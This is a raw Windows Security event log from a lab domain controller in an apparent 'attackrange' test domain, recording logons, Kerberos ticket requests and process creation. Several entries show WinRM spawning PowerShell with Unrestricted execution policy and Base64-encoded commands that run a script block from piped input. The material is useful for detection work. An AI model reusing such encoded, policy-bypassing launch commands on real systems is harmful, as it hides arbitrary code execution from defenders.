	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd7c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\gpfbrhor\gpfbrhor.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252834
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17A557

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252833
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17A557
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{32764149-6E35-1478-BBEF-FFC76C714C9B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252832
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{32764149-6E35-1478-BBEF-FFC76C714C9B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252831
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{32764149-6E35-1478-BBEF-FFC76C714C9B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252830
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252829
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178A74

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x48c
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4d0
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252828
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178A74

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d0
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12b4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252827
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17923F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252826
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17923F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{32764149-6E35-1478-BBEF-FFC76C714C9B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252825
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{32764149-6E35-1478-BBEF-FFC76C714C9B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252824
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{32764149-6E35-1478-BBEF-FFC76C714C9B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252823
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252822
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178A74

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12b4
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x61c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252821
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x178A74

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x61c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x984
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

